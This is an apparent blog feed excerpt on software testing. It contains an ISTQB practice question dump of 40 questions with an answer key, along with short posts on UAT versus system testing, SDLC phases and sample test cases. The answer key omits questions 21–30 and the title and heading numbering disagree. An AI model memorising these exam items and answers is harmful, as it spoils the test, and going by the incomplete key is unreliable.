40 » B</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/6546413682585787882/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2011/10/istqb-question-paper-dump-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/6546413682585787882'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/6546413682585787882'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2011/10/istqb-question-paper-dump-2.html' title='ISTQB Question Paper Dump 2'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-3860226023609704243</id><published>2011-10-10T04:03:00.000-07:00</published><updated>2011-10-10T04:17:28.065-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ISTQB Question Paper Dump"/><title type='text'>ISTQB  Question Paper Dump 1</title><content type='html'>ISTQB Sample Question Paper Dump 3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) We split testing into distinct stages primarily because:&lt;br /&gt;
a) Each test stage has a different purpose.&lt;br /&gt;
b) It is easier to manage testing in stages.&lt;br /&gt;
c) We can run different tests in different environments.&lt;br /&gt;
d) The more stages we have, the better the testing.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2) Which of the following is likely to benefit most from the use of test tools providing test capture and&lt;br /&gt;
replay facilities?&lt;br /&gt;
a) Regression testing&lt;br /&gt;
b) Integration testing&lt;br /&gt;
c) System testing&lt;br /&gt;
d) User acceptance testing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3) Which of the following statements is NOT correct?&lt;br /&gt;
a) A minimal test set that achieves 100% LCSAJ coverage will also achieve 100% branch coverage.&lt;br /&gt;
b) A minimal test set that achieves 100% path coverage will also achieve 100% statement coverage.&lt;br /&gt;
c) A minimal test set that achieves 100% path coverage will generally detect more faults than one that&lt;br /&gt;
achieves 100% statement coverage.&lt;br /&gt;
d) A minimal test set that achieves 100% statement coverage will generally detect more faults than one&lt;br /&gt;
that achieves 100% branch coverage.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4) Which of the following requirements is testable?&lt;br /&gt;
a) The system shall be user friendly.&lt;br /&gt;
b) The safety-critical parts of the system shall contain 0 faults.&lt;br /&gt;
c) The response time shall be less than one second for the specified design load.&lt;br /&gt;
d) The system shall be built to be portable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5) Analyse the following highly simplified procedure:&lt;br /&gt;
Ask: “What type of ticket do you require, single or return?”&lt;br /&gt;
IF the customer wants ‘return’&lt;br /&gt;
Ask: “What rate, Standard or Cheap-day?”&lt;br /&gt;
IF the customer replies ‘Cheap-day’&lt;br /&gt;
Say: “That will be £11:20”&lt;br /&gt;
ELSE&lt;br /&gt;
Say: “That will be £19:50”&lt;br /&gt;
ENDIF&lt;br /&gt;
ELSE&lt;br /&gt;
Say: “That will be £9:75”&lt;br /&gt;
ENDIF&lt;br /&gt;
Now decide the minimum number of tests that are needed to ensure that all&lt;br /&gt;
the questions have been asked, all combinations have occurred and all&lt;br /&gt;
replies given.&lt;br /&gt;
a) 3&lt;br /&gt;
b) 4&lt;br /&gt;
c) 5&lt;br /&gt;
d) 6&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
6) Error guessing:&lt;br /&gt;
a) supplements formal test design techniques.&lt;br /&gt;
b) can only be used in component, integration and system testing.&lt;br /&gt;
c) is only performed in user acceptance testing.&lt;br /&gt;
d) is not repeatable and should not be used.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
7) Which of the following is NOT true of test coverage criteria?&lt;br /&gt;
a) Test coverage criteria can be measured in terms of items exercised by a test suite.&lt;br /&gt;
b) A measure of test coverage criteria is the percentage of user requirements covered.&lt;br /&gt;
c) A measure of test coverage criteria is the percentage of faults found.&lt;br /&gt;
d) Test coverage criteria are often used when specifying test completion criteria.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
8) In prioritising what to test, the most important objective is to:&lt;br /&gt;
a) find as many faults as possible.&lt;br /&gt;
b) test high risk areas.&lt;br /&gt;
c) obtain good test coverage.&lt;br /&gt;
d) test whatever is easiest to test.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
9) Given the following sets of test management terms (v-z), and activity descriptions (1-5), which one of&lt;br /&gt;
the following best pairs the two sets?&lt;br /&gt;
v – test control&lt;br /&gt;
w – test monitoring&lt;br /&gt;
x - test estimation&lt;br /&gt;
y - incident management&lt;br /&gt;
z - configuration control&lt;br /&gt;
1 - calculation of required test resources&lt;br /&gt;
2 - maintenance of record of test results&lt;br /&gt;
3 - re-allocation of resources when tests overrun&lt;br /&gt;
4 - report on deviation from test plan&lt;br /&gt;
5 - tracking of anomalous test results&lt;br /&gt;
a) v-3,w-2,x-1,y-5,z-4&lt;br /&gt;
b) v-2,w-5,x-1,y-4,z-3&lt;br /&gt;
c) v-3,w-4,x-1,y-5,z-2&lt;br /&gt;
d) v-2,w-1,x-4,y-3,z-5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10) Which one of the following statements about system testing is NOT true?&lt;br /&gt;
a) System tests are often performed by independent teams.&lt;br /&gt;
b) Functional testing is used more than structural testing.&lt;br /&gt;
c) Faults found during system tests can be very expensive to fix.&lt;br /&gt;
d) End-users should be involved in system tests.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
11) Which of the following is false?&lt;br /&gt;
a) Incidents should always be fixed.&lt;br /&gt;
b) An incident occurs when expected and actual results differ.&lt;br /&gt;
c) Incidents can be analysed to assist in test process improvement.&lt;br /&gt;
d) An incident can be raised against documentation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
12) Enough testing has been performed when:&lt;br /&gt;
a) time runs out.&lt;br /&gt;
b) the required level of confidence has been achieved.&lt;br /&gt;
c) no more faults are found.&lt;br /&gt;
d) the users won’t find any serious faults.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
13) Which of the following is NOT true of incidents?&lt;br /&gt;
a) Incident resolution is the responsibility of the author of the software under test.&lt;br /&gt;
b) Incidents may be raised against user requirements.&lt;br /&gt;
c) Incidents require investigation and/or correction.&lt;br /&gt;
d) Incidents are raised when expected and actual results differ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
14) Which of the following is not described in a unit test standard?&lt;br /&gt;
a) syntax testing&lt;br /&gt;
b) equivalence partitioning&lt;br /&gt;
c) stress testing&lt;br /&gt;
d) modified condition/decision coverage&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
15) Which of the following is false?&lt;br /&gt;
a) In a system two different failures may have different severities.&lt;br /&gt;
b) A system is necessarily more reliable after debugging for the removal of a fault.&lt;br /&gt;
c) A fault need not affect the reliability of a system.&lt;br /&gt;
d) Undetected errors may lead to faults and eventually to incorrect behaviour.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
16) Which one of the following statements, about capture-replay tools, is NOT correct?&lt;br /&gt;
a) They are used to support multi-user testing.&lt;br /&gt;
b) They are used to capture and animate user requirements.&lt;br /&gt;
c) They are the most frequently purchased types of CAST tool.&lt;br /&gt;
d) They capture aspects of user behaviour.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
17) How would you estimate the amount of re-testing likely to be required?&lt;br /&gt;
a) Metrics from previous similar projects&lt;br /&gt;
b) Discussions with the development team&lt;br /&gt;
c) Time allocated for regression testing&lt;br /&gt;
d) a &amp; b&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
18) Which of the following is true of the V-model?&lt;br /&gt;
a) It states that modules are tested against user requirements.&lt;br /&gt;
b) It only models the testing phase.&lt;br /&gt;
c) It specifies the test techniques to be used.&lt;br /&gt;
d) It includes the verification of designs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
19) The oracle assumption:&lt;br /&gt;
a) is that there is some existing system against which test output may be checked.&lt;br /&gt;
b) is that the tester can routinely identify the correct outcome of a test.&lt;br /&gt;
c) is that the tester knows everything about the software under test.&lt;br /&gt;
d) is that the tests are reviewed by experienced testers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
20) Which of the following characterises the cost of faults?&lt;br /&gt;
a) They are cheapest to find in the early development phases and the most expensive to fix in the latest&lt;br /&gt;
test phases.&lt;br /&gt;
b) They are easiest to find during system testing but the most expensive to fix then.&lt;br /&gt;
c) Faults are cheapest to find in the early development phases but the most expensive to fix then.&lt;br /&gt;
d) Although faults are most expensive to find during early development phases, they are cheapest to fix&lt;br /&gt;
then.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
21) Which of the following should NOT normally be an objective for a test?&lt;br /&gt;
a) To find faults in the software.&lt;br /&gt;
b) To assess whether the software is ready for release.&lt;br /&gt;
c) To demonstrate that the software doesn’t work.&lt;br /&gt;
d) To prove that the software is correct.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
22) Which of the following is a form of functional testing?&lt;br /&gt;
a) Boundary value analysis&lt;br /&gt;
b) Usability testing&lt;br /&gt;
c) Performance testing&lt;br /&gt;
d) Security testing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
23) Which of the following would NOT normally form part of a test plan?&lt;br /&gt;
a) Features to be tested&lt;br /&gt;
b) Incident reports&lt;br /&gt;
c) Risks&lt;br /&gt;
d) Schedule&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
24) Which of these activities provides the biggest potential cost saving from the use of CAST?&lt;br /&gt;
a) Test management&lt;br /&gt;
b) Test design&lt;br /&gt;
c) Test execution&lt;br /&gt;
d) Test planning&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
25) Which of the following is NOT a white box technique?&lt;br /&gt;
a) Statement testing&lt;br /&gt;
b) Path testing&lt;br /&gt;
c) Data flow testing&lt;br /&gt;
d) State transition testing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
26) Data flow analysis studies:&lt;br /&gt;
a) possible communications bottlenecks in a program.&lt;br /&gt;
b) the rate of change of data values as a program executes.&lt;br /&gt;
c) the use of data on paths through the code.&lt;br /&gt;
d) the intrinsic complexity of the code.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
27) In a system designed to work out the tax to be paid:&lt;br /&gt;
An employee has £4000 of salary tax free. The next £1500 is taxed at 10%&lt;br /&gt;
The next £28000 is taxed at 22%&lt;br /&gt;
Any further amount is taxed at 40%&lt;br /&gt;
To the nearest whole pound, which of these is a valid Boundary Value Analysis test case?&lt;br /&gt;
a) £1500&lt;br /&gt;
b) £32001&lt;br /&gt;
c) £33501&lt;br /&gt;
d) £28000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
28) An important benefit of code inspections is that they:&lt;br /&gt;
a) enable the code to be tested before the execution environment is ready.&lt;br /&gt;
b) can be performed by the person who wrote the code.&lt;br /&gt;
c) can be performed by inexperienced staff.&lt;br /&gt;
d) are cheap to perform.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
29) Which of the following is the best source of Expected Outcomes for User Acceptance Test scripts?&lt;br /&gt;
a) Actual results&lt;br /&gt;
b) Program specification&lt;br /&gt;
c) User requirements&lt;br /&gt;
d) System specification&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
30) What is the main difference between a walkthrough and an inspection?&lt;br /&gt;
a) An inspection is lead by the author, whilst a walkthrough is lead by a trained moderator.&lt;br /&gt;
b) An inspection has a trained leader, whilst a walkthrough has no leader.&lt;br /&gt;
c) Authors are not present during inspections, whilst they are during walkthroughs.&lt;br /&gt;
d) A walkthrough is lead by the author, whilst an inspection is lead by a trained moderator.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
31) Which one of the following describes the major benefit of verification early in the life cycle?&lt;br /&gt;
a) It allows the identification of changes in user requirements.&lt;br /&gt;
b) It facilitates timely set up of the test environment.&lt;br /&gt;
c) It reduces defect multiplication.&lt;br /&gt;
d) It allows testers to become involved early in the project.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
32) Integration testing in the small:&lt;br /&gt;
a) tests the individual components that have been developed.&lt;br /&gt;
b) tests interactions between modules or subsystems.&lt;br /&gt;
c) only uses components that form part of the live system.&lt;br /&gt;
d) tests interfaces to other systems.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
33) Static analysis is best described as:&lt;br /&gt;
a) the analysis of batch programs.&lt;br /&gt;
b) the reviewing of test plans.&lt;br /&gt;
c) the analysis of program code.&lt;br /&gt;
d) the use of black box testing.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
34) Alpha testing is:&lt;br /&gt;
a) post-release testing by end user representatives at the developer’s site.&lt;br /&gt;
b) the first testing that is performed.&lt;br /&gt;
c) pre-release testing by end user representatives at the developer’s site.&lt;br /&gt;
d) pre-release testing by end user representatives at their sites.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
35) A failure is:&lt;br /&gt;
a) found in the software; the result of an error.&lt;br /&gt;
b) departure from specified behaviour.&lt;br /&gt;
c) an incorrect step, process or data definition in a computer program.&lt;br /&gt;
d) a human action that produces an incorrect result.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
36) In a system designed to work out the tax to be paid:&lt;br /&gt;
An employee has £4000 of salary tax free. The next £1500 is taxed at 10%&lt;br /&gt;
The next £28000 is taxed at 22%&lt;br /&gt;
Any further amount is taxed at 40%&lt;br /&gt;
Which of these groups of numbers would fall into the same equivalence class?&lt;br /&gt;
a) £4800; £14000; £28000&lt;br /&gt;
b) £5200; £5500; £28000&lt;br /&gt;
c) £28001; £32000; £35000&lt;br /&gt;
d) £5800; £28000; £32000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
37) The most important thing about early test design is that it:&lt;br /&gt;
a) makes test preparation easier.&lt;br /&gt;
b) means inspections are not required.&lt;br /&gt;
c) can prevent fault multiplication.&lt;br /&gt;
d) will find all faults.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
38) Which of the following statements about reviews is true?&lt;br /&gt;
a) Reviews cannot be performed on user requirements specifications.&lt;br /&gt;
b) Reviews are the least effective way of testing code.&lt;br /&gt;
c) Reviews are unlikely to find faults in test plans.&lt;br /&gt;
d) Reviews should be performed on specifications, code, and test plans.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
39) Test cases are designed during:&lt;br /&gt;
a) test recording.&lt;br /&gt;
b) test planning.&lt;br /&gt;
c) test configuration.&lt;br /&gt;
d) test specification.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
40) A configuration management system would NOT normally provide:&lt;br /&gt;
a) linkage of customer requirements to version numbers.&lt;br /&gt;
b) facilities to compare test results with expected results.&lt;br /&gt;
c) the precise differences in versions of software component source code.&lt;br /&gt;
d) restricted access to the source code library.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Answers&lt;br /&gt;
1 » A&lt;br /&gt;
2 » A&lt;br /&gt;
3 » D&lt;br /&gt;
4 » C&lt;br /&gt;
5 » A&lt;br /&gt;
6 » A&lt;br /&gt;
7 » C&lt;br /&gt;
8 » B&lt;br /&gt;
9 » C&lt;br /&gt;
10» D&lt;br /&gt;
11 » A&lt;br /&gt;
12 » B&lt;br /&gt;
13 » A&lt;br /&gt;
14 » C&lt;br /&gt;
15 » B&lt;br /&gt;
16 » B&lt;br /&gt;
17 » D&lt;br /&gt;
18 » D&lt;br /&gt;
19 » B&lt;br /&gt;
20 » A&lt;br /&gt;
31 » C&lt;br /&gt;
32 » B&lt;br /&gt;
33 » C&lt;br /&gt;
34 » C&lt;br /&gt;
35 » B&lt;br /&gt;
36 » D&lt;br /&gt;
37 » C&lt;br /&gt;
38 » D&lt;br /&gt;
39 » D&lt;br /&gt;
40 » B</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/3860226023609704243/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2011/10/istqb-sample-question-paper-dump-3.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/3860226023609704243'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/3860226023609704243'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2011/10/istqb-sample-question-paper-dump-3.html' title='ISTQB  Question Paper Dump 1'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-5300205594602797169</id><published>2011-09-14T05:13:00.001-07:00</published><updated>2011-10-07T04:16:33.948-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Web Testing"/><title type='text'>Difference between Normal  Testing and  UAT Testing</title><content type='html'>System testing:&lt;br /&gt;
&lt;br /&gt;
It is based on SRS(Software Requirement Specification)&lt;br /&gt;
&lt;br /&gt;
It is 100% black box testing.&lt;br /&gt;
&lt;br /&gt;
It is done by testers in the organization.&lt;br /&gt;
&lt;br /&gt;
Defects can be corrected here.&lt;br /&gt;
&lt;br /&gt;
All possible dummy inputs are checked.&lt;br /&gt;
&lt;br /&gt;
UAT:&lt;br /&gt;
&lt;br /&gt;
It is based on the business scenario.&lt;br /&gt;
&lt;br /&gt;
It is done by the clients.&lt;br /&gt;
&lt;br /&gt;
If defects are found they are said as failure product.&lt;br /&gt;
&lt;br /&gt;
Random inputs are checked.</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/5300205594602797169/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2011/09/test-plan-outline.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/5300205594602797169'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/5300205594602797169'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2011/09/test-plan-outline.html' title='Difference between Normal  Testing and  UAT Testing'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-3304643322261171597</id><published>2011-09-09T05:47:00.000-07:00</published><updated>2011-10-02T05:34:35.526-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="SDLC"/><title type='text'>Software Developement Life Cycle</title><content type='html'>Software products, which don’t happen to be user friendly just, don’t find any place in a highly competitive market of this modern era, although they might have been developed with the help of the best available technology. The ease of use of the product is of paramount importance compared to its internal technology, which the customer is not going to see.&lt;br /&gt;
&lt;br /&gt;
Thus for the creation of Innovative Software products, the Development Life Cycle undergoes six phases like:&lt;br /&gt;
&lt;br /&gt;
1) Initial Phase&lt;br /&gt;
2) Analysis Phase&lt;br /&gt;
3) Design phase&lt;br /&gt;
4) Coding Phase&lt;br /&gt;
5) Testing Phase&lt;br /&gt;
6) Delivery and Maintenance phase&lt;br /&gt;
&lt;br /&gt;
Phase – 1: Initial Phase: Involves Interaction with the customer and capturing all the requirements.&lt;br /&gt;
&lt;br /&gt;
Personnel Involved: 1) Business Annalist – BA &amp; 2) Engagement Manager - EM&lt;br /&gt;
&lt;br /&gt;
Process Involved: This phase begins with a technical meeting between the Business Analyst &amp; the customer. The Business Analyst (BM) understands all the requirements from the customer &amp; prepares comprehensive requirements document with the help of standard templates &amp; check sheets used by the company. The requirements document forms the basis for further study &amp; action by the Engagement Manager (EM).&lt;br /&gt;
&lt;br /&gt;
The Engagement Manager tries to hunt for extra requirements if any, which might not be apparent immediately but might involve extra cost. To resolve ambiguous requirements if any, the Engagement Manager organizes demonstration of a prototype if necessary. Such action of quick demonstration of a prototype, which is nothing but a rapidly developed model for the customer is found extremely helpful to remove ambiguities from the requirements on one hand &amp; help winning the confidence of the customer on the other.&lt;br /&gt;
&lt;br /&gt;
Ultimate objective of this phase is to prepare a most comprehensive customer requirements document. Many companies call it with different names like:&lt;br /&gt;
&lt;br /&gt;
# BRS: Business Requirement Specification.&lt;br /&gt;
# FRS: Functional Requirement Specification.&lt;br /&gt;
# URS: User Requirement Specification.&lt;br /&gt;
# CRS: Client / Customer Requirement Specification.&lt;br /&gt;
# BDD: Business Design Document.&lt;br /&gt;
# BD  : Business Document.&lt;br /&gt;
&lt;br /&gt;
Depending upon the system followed by various companies, sometimes a single document is maintained, while some companies may go in for two documents. In this case, Broad / outlining information is recorded in the BRS (Business Requirement Specification), while detailed information is recorded in FRS (Functional Requirement Specification).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Phase – 2: Analysis Phase: Involves Feasibility Study, Broad Planning, Technology selection, Requirement analysis etc.&lt;br /&gt;
&lt;br /&gt;
Personnel Involved: 1) System Annalist – SA, 2) Project Manager – PM &amp; 3) Team Manager -TM&lt;br /&gt;
&lt;br /&gt;
Process Involved: To understand the nature of the program to be developed, the System Annalist focuses on understanding the information domain of the software, its necessary functions, behaviors, performance and necessary interfaces etc. The major objective of the analysis phase is to find out the need and to define the problem, which needs to be solved.&lt;br /&gt;
&lt;br /&gt;
The process covers four distinct analytical operations like:&lt;br /&gt;
&lt;br /&gt;
1) Feasibility Study: Involves detailed study of all the requirements to ascertain as to whether it is possible to meet all the requirements or not. There may be a need for the development team to visit the customer place for study of their system. They development team may investigate the need for possible software automation within the boundaries of the given system.&lt;br /&gt;
&lt;br /&gt;
2) Broad Planning: Involves an outline document on planning of all resource and time wise planning.&lt;br /&gt;
&lt;br /&gt;
3) Technology Selection: Involves identification, analysis &amp; compilation of various tools &amp; technologies, which would be needed to accomplish the project successfully.&lt;br /&gt;
&lt;br /&gt;
4) Requirement analysis: Involves identification &amp; compilation of various requirements of human resources, hardware &amp; software, which would be needed to accomplish the project successfully.&lt;br /&gt;
&lt;br /&gt;
Ultimate objective of this phase is to prepare a most comprehensive document called SRC or Software Requirement Specification.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Phase – 3: Design Phase: Involves hard core design activities like 1) HLD - High Level Designing &amp; 2) LLD - Low Level Designing&lt;br /&gt;
&lt;br /&gt;
Personnel Involved: 1) Chief Architect – CA is responsible for High Level Designing, 2) Technical Lead – TL is responsible for Low Level Designing&lt;br /&gt;
&lt;br /&gt;
Process Involved: The Chief Architect – CA, starts The entire designing process. This involves subdivision of the entire project into various modules &amp; the process is adequately explained with the help of flow charts &amp; diagrams. Thereafter, the Technical Lead – TL further subdivides these main Modules into sub modules with the help of Unified Modeling Language - UML. The technical lead is responsible for creating the Pseudo Code which is a comprehensive set of instructions written in English language &amp; are meant for guiding the actual code developers.&lt;br /&gt;
&lt;br /&gt;
Ultimate objective of this phase is to prepare a Technical Design Document - TDD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Phase – 4: Coding Phase: Involves actual Programming or Coding.&lt;br /&gt;
&lt;br /&gt;
Personnel Involved: Code Developers or Programmers&lt;br /&gt;
&lt;br /&gt;
Process Involved: The design needs to be translated into a machine-readable form. There comes the process of code generation. With the help of Pseudo Code written by the Technical Lead – TL during the Design Phase, Developers carry out the development of the actual source code. The entire coding process is bound by stipulated coding standards defined by the company.&lt;br /&gt;
&lt;br /&gt;
Ultimate objective of this phase is to prepare a Source Code Document - SCD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Phase – 5: Testing Phase: Involves rigorous testing of the application developed by the programmers.&lt;br /&gt;
&lt;br /&gt;
Personnel Involved: Testing Engineers.&lt;br /&gt;
&lt;br /&gt;
Process Involved: Different testing methodologies are practiced to detect the software bugs, which happen to take birth during the previous phases. Various testing tools and methodologies are available these days. Some companies create their own testing tools, which are custom made to suit their own development functions.&lt;br /&gt;
&lt;br /&gt;
# In fact the testing process begins right from the customer requirement document. A good test engineer starts his work by thorough study of the requirement document. In case of any doubt arising during understanding of customer requirements, the test engineer raises a Review Report –RR, which contains details of all the doubts.&lt;br /&gt;
&lt;br /&gt;
# Having clarified all the doubts &amp; ambiguities, and after having a thorough understanding of the requirements, the test engineer shall write the test cases with the help of company specific test case templates.&lt;br /&gt;
&lt;br /&gt;
# Execution of the test cases upon the release of the first build by the developers. This follows recording of defects in a defect profile document.&lt;br /&gt;
&lt;br /&gt;
# The defect profile document is transferred to the developers for improvements / eradication of defects found by them. The testing process halts here till next build with improvements is released by the developers.&lt;br /&gt;
&lt;br /&gt;
# The entire testing process involving execution of test cases is repeated on the new build. This process of code improvement, subsequent testing on new builds &amp; finding of defects continues again and again till the product is free from defects.&lt;br /&gt;
&lt;br /&gt;
# The testing process is decided to be stopped after gaining reasonable confidence of product being defect free&lt;br /&gt;
&lt;br /&gt;
Ultimate objective of this phase is to produce a Quality Product.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Phase – 6: Delivery and Maintenance phase: Involves Installing the newly developed application under the client environment.&lt;br /&gt;
&lt;br /&gt;
Personnel Involved: Senior Testing Engineers who are entrusted the task of Deployment Engineers.&lt;br /&gt;
&lt;br /&gt;
Process Involved:&lt;br /&gt;
# Delivery: After the code is appropriately tested, it is approved for release, it is deployed into a production environment. The deployment of application is done with the help of guidelines provided in the application deployment document.&lt;br /&gt;
&lt;br /&gt;
# Maintenance: After the deployment of the application, client may encounter many task-based problems.&lt;br /&gt;
&lt;br /&gt;
Maintaining and enhancing the software to cope up with newly discovered problems or new requirements can take far more time than the initial development of the software. It may be necessary to add some code, which does not fit the original design to correct an unforeseen problem. It may be that the customer is requesting more functionality, and some code can be added to take care of his requests.</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/3304643322261171597/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2011/09/software-developemnt-life-cycle.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/3304643322261171597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/3304643322261171597'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2011/09/software-developemnt-life-cycle.html' title='Software Developement Life Cycle'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-8220158810421264618</id><published>2011-09-07T08:47:00.000-07:00</published><updated>2011-11-21T02:18:24.248-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Test Cases"/><title type='text'>Test Cases Samples</title><content type='html'>&lt;b&gt;Write test cases for copy &amp; paste in MS Word&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
1. Verify that the text which is selected for copy, that area should get highlighted.&lt;br /&gt;
2. Verify that on the selected text if right click is done then copy option should be enabled and paste option should be disabled.&lt;br /&gt;
3. Verify that once the selected area is copied then in the right click paste option should get enabled&lt;br /&gt;
4. Verify if the text is not selected then cut and copy should be disabled in the right click option.&lt;br /&gt;
5. Verify that the using the short cut keys like CTRL+C, CTRL+V the text are getting pastes.&lt;br /&gt;
6. Verify that using Edit menu option the user is able to copy and paste the text.&lt;br /&gt;
7. Verify that if some text area is selected and right click paste is done then copied text should get overwrite on the selected text.&lt;br /&gt;
8. Verify that the copy should copy the content with own format.&lt;br /&gt;
9. Verify that Paste function should paste the content n times.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Test Cases for White Board&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
1. Verify the Length &amp; Width of the Board&lt;br /&gt;
2. Verify the Surface of the Board&lt;br /&gt;
3. Check whether you can able to write on the board&lt;br /&gt;
4. Check written words are visible&lt;br /&gt;
5. Try to erase the words written &amp; write a new words&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
Test Cases for Save As Button in MS Office:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
* Give ctrl + S save as  dialogue box should be appear.&lt;br /&gt;
* Goto File-&gt;Save AS, save as Dialogue box should be appear.&lt;br /&gt;
* To give File name, File name Field should be availabld.&lt;br /&gt;
* To choose the document type Save as type combo box should be available.&lt;br /&gt;
* To navigate to the desired path to save the file.. navigational buttons       should be available.&lt;br /&gt;
* To change the view of the folder icons, Change view button should be display.&lt;br /&gt;
* On clicking save button, the File should be saved in the given path.&lt;br /&gt;
* On Clicking cancel button or Close(x) button or Press Esc Key, the save as dialogue box should be closed and the cursor should blink in the document.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Test Cases for Note Pad as &quot;Save&quot;&lt;/b&gt;&lt;br /&gt;
Click File-Save (should open a window and should ask you the file name and path as well)&lt;br /&gt;
&lt;br /&gt;
Check for .extension like it should be .txt only&lt;br /&gt;
&lt;br /&gt;
Check for short-key like (Ctrl+S) and ask for same option as above (should open an window and should ask you the file name and path as well)&lt;br /&gt;
&lt;br /&gt;
Save as (should open the same window with same file name path)&lt;br /&gt;
&lt;br /&gt;
If you change that file name and path in that window then it should accept.&lt;br /&gt;
&lt;br /&gt;
